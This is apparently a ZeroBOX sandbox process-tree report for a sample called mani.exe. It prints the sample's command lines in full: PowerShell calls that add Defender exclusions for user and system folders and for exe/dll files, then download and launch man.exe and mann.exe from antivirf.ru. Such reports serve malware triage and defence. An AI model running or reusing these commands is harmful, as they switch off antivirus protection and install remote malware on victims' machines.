| ZeroBOX

mani.exe "C:\Users\test22\AppData\Local\Temp\mani.exe"
2772
- cmd.exe cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://antivirf.ru/man.exe', (Join-Path -Path $env:AppData -ChildPath 'man.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://antivirf.ru/mann.exe', (Join-Path -Path $env:Temp -ChildPath 'mann.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'man.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'mann.exe')" & exit
  2824
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
    2880
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
    3016
  - powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('https://antivirf.ru/man.exe', (Join-Path -Path $env:AppData -ChildPath 'man.exe'))"
    2056
  - powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('https://antivirf.ru/mann.exe', (Join-Path -Path $env:Temp -ChildPath 'mann.exe'))"
    1304
  - powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'man.exe')"
    2292
  - powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'mann.exe')"
    196

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents